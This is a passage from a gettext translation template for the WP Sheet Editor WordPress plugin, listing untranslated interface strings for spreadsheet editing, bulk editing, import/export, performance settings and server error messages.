"Edit %s" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:221 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:235 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 msgid "Extensions" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 #: wp-sheet-editor/dev/views/editor-page.php:163 msgid "Global sort" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:262 msgid "We'll reload the spreadsheet when you change this option." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:264 msgid "Sort" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:289 #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "You can create new items here" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:300 msgid "Load" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:311 msgid "Exit Full Screen" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:322 msgid "Show cells as simple text" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:325 msgid "By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:336 msgid "Load more on scroll" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:351 msgid "Scan DB to find fields" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:355 msgid "We can scan the database, find new fields, and create columns automatically for the supported fields." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:370 #: wp-sheet-editor/dev/inc/api/bootstrap.php:371 msgid "All changes saved." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:370 msgid "Saving changes, don't close this page." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:370 msgid "Some changes are not saved yet." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:530 #: wp-sheet-editor/dev/inc/api/bootstrap.php:556 msgid "Content" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:541 msgid "Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:581 #: wp-sheet-editor/dev/inc/api/editor.php:391 msgid "WP Editor" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:605 msgid "View" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:655 msgid "Modified Date" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:694 msgid "Excerpt" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:707 msgid "Delete completely" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:786 msgid "Order" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:849 msgid "Enter multiple terms separated by %s" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:878 msgid "Post type" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:902 msgid "Password" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:221 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:240 msgid "Pro" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:241 msgid "Enable" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "Please select some rows with the checkboxes." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "These product IDs don't have variations to display: {ids}" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "Displayed variations for {parentProductsWithVariationsCount} product(s), {parentProductsWithoutVariationsCount} product(s) don't have variations to display" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "Displayed variations for {parentProductsWithVariationsCount} product(s)" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "The column will appear in the spreadsheet and exports if the user has a role with the required capability." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "The column will be read only if the user doesn't have a role with the required capability." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Read-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "Enabling this column requires a page reload" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "Please select at least one column to import" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "Show column key" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "This is the dynamic tag for this column. You can copy this and use it in the bulk edit tool" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "Click here to show all columns again" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the \"advanced settings\" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "Please correct the error in the file and start a new import. You can use the \"Advanced options\" in the step 1 of the import to start from this specific row." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "

                  The import has finished

                  " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Name of this export" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Are you sure you want to delete this columns view?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "

                  The process has finished

                  " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "The selected product does not have variations" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "empty" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "This will save you {clicks_count} clicks :)" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "We found similar columns. Do you want to apply the same action to them? {columns}" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "This column is only for variation rows, parent products don't use this field" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Editing the field: {field_label}" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Column not found. Try with another search criteria." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "This column is for parent products only, variations don't use this field" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "Paste using keyboard: Ctrl+V" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Realign cells" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "Remove all filters" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Resize columns based on the values" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Delete row" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Duplicate row" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "Hide column" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "Bulk edit column" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "Copy variations from this product" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "Delete field" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "Delete serialized field" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "Edit meta key" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "Error: The new value is empty or is equal to the old value" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "Showing rows from your last session." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "Export column" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Your server was not able to process this batch. Do you want to try again?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "The bulk edit was executed successfully. You can close this window" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automatically" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:355 msgid "You have modified rows. Please save the changes because we will refresh the spreadsheet." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "You have modified rows. Please save the changes before removing columns from the spreadsheet." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "You have modified rows. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changes" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "Some rows were modified in the spreadsheet. Please save the changes before using this feature." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "We didn't find rows to update from the search query. Please try another search query." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "We didn't find rows for the export. Please try another search query." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "Oops, nothing found" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "Upload image" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "View Gallery" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "No options available" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:368 #: wp-sheet-editor/dev/inc/api/helpers.php:1336 msgid "Items loaded in the spreadsheet" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "New rows added" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The bulk edit has been executed. Do you want to reload the page to see the changes?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "{updated} attributes have been merged." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "{updated} items saved of {total} items that need saving." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "Scanning variations to be created. {updated} products of {total} products have been processed." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "{deleted} duplicates have been removed." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "All items have been saved." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "Please check if you have unsaved changes. If you have, please save them or they will be dismissed." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:379 msgid "Everything is already saved." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:380 msgid "The server did not accept our request. Bad request, please try refresh the page and try again." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:381 msgid "The server didn't accept our request. You don't have permission to do this action. Please log in again." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:382 msgid "The server is not available or overloaded. Please try again later." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:384 msgid "The auto saving failed: the server is not available or overloaded. Do you want to try again?" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:385 msgid "The server wasn't able to process our request. Server error. Please try again later." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:386 msgid "The server has exceeded its allocated resources and is not able to process our request." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:387 msgid "The server is busy and took too long to respond to our request. Please try again later." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:388 msgid "The server could not process our request. Please try again later." msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:389 msgid "Change background color" msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:390 msgid "

                  Missing column?

                  or " msgstr "" #: wp-sheet-editor/dev/inc/api/editor.php:396 msgid "Do we deserve a 5-star review? Yes, you deserve it . - . No" msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:445 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:449 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:552 msgid "The item could not be saved. Please try again in other moment." msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:1015 msgid "User not allowed to edit rows" msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:1302 msgid "No more posts available." msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:1304 msgid "No posts found matching your search parameters. You can remove the active filters or try with a different search." msgstr "" #: wp-sheet-editor/dev/inc/api/helpers.php:1306 msgid "No posts available for the current page." msgstr "" #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "" #: wp-sheet-editor/dev/inc/api/logger.php:147 #: wp-sheet-editor/dev/inc/api/logger.php:184 msgid "Error log" msgstr "" #: wp-sheet-editor/dev/inc/api/logger.php:186 msgid "We haven't detected any fatal errors yet." msgstr "" #: wp-sheet-editor/dev/inc/api/logger.php:188 msgid "Here you can see the fatal errors related to WP Sheet Editor. If you experience any error while using WP Sheet Editor, you can see if any entry appears below with a related date and time, and send the full error message to the WP Sheet Editor support team. This log is reset every %d days." msgstr "" #: wp-sheet-editor/dev/inc/api/logger.php:205 msgid "%1$s in %2$s on line %3$s" msgstr "" #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors." msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "Some of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin." msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations." msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "If you click on the \"download\" button, we will download the file from the official website: wpsheeteditor.com." msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:245 msgid "If you don't want to install these extensinos, you can go to our advanced settings and enable the option \"Disable the popup that asks you to install important extensions?\"." msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 msgid "Extension name" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:254 #: wp-sheet-editor/dev/inc/integrations/notifier.php:277 msgid "Action" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:262 #: wp-sheet-editor/dev/inc/integrations/notifier.php:285 msgid "Already downloaded" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:262 msgid "Download" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:271 msgid "Extensions that require update" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:285 msgid "Download update" msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 msgid "When you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them." msgstr "" #: wp-sheet-editor/dev/inc/integrations/notifier.php:292 msgid "Do you need help?." msgstr "" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "We use pagination to use few server resources. We load 40 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "Here you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 8 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the number" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columns" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "Turn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separator" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to \"clean up\" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "When the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Deactivate the prefetch of post meta values" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Deactivate the prefetch of post taxonomies values" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "Batch sizes used for the data prefetch" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:199 msgid "By default, we prefetch in groups of 5000 rows. You can reduce this number if your server gets overloaded during the prefetch." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:204 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:210 msgid "Blacklist these columns" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:211 msgid "Enter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheet" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:216 msgid "Enable the utf8 encoding fix" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:217 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:224 msgid "Maximum number of seconds to download external images?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:225 msgid "Default: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:231 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:232 msgid "We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:238 msgid "Allow line breaks in values during the export and import process" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:239 msgid "We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:245 msgid "Allow safe html in post titles?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:246 msgid "We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etc" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:252 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:253 msgid "By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this option" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:259 msgid "Always run the save_post action after any post row is edited?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:260 msgid "By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:267 msgid "Maximum number of unique meta fields to scan?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:268 msgid "By default, we scan a maximum of 2500 unique meta keys to generate columns for the spreadsheet editor. But if you have a huge meta table, we might miss some meta fields and not show some columns. You can increase the number to scan more fields, which will help to display some missing columns, but it will use more server resources. The scan happens every 30 minutes on small sites, or weekly on medium-large sites." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:274 msgid "Don't remove query parameters from external URLs when saving files?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:275 msgid "By default, we remove the query strings from external URLs when importing external files, this improves the cache hits and helps us avoid downloading duplicate images that have slight differences in the URLs. For example, site.com/logo.png?m=1 and site.com/logo.png?m=2 are considered the same by default and we save it as site.com/logo.png. But this can break the saving of dynamic images where the parameters change the content of the image, for example, site.com/image-generator.php?image=1 can return a different image than site.com/image-generator.php?image=2. You can activate this option to make the saving of external images accept URL parameters." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "Customize features" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:289 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:296 msgid "Enable simple mode?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "Disable the automatic formatting detection?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:310 msgid "Disable cells lazy loading?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:311 msgid "The spreadsheet loads only the \"visible rows\" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can \"open\" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the 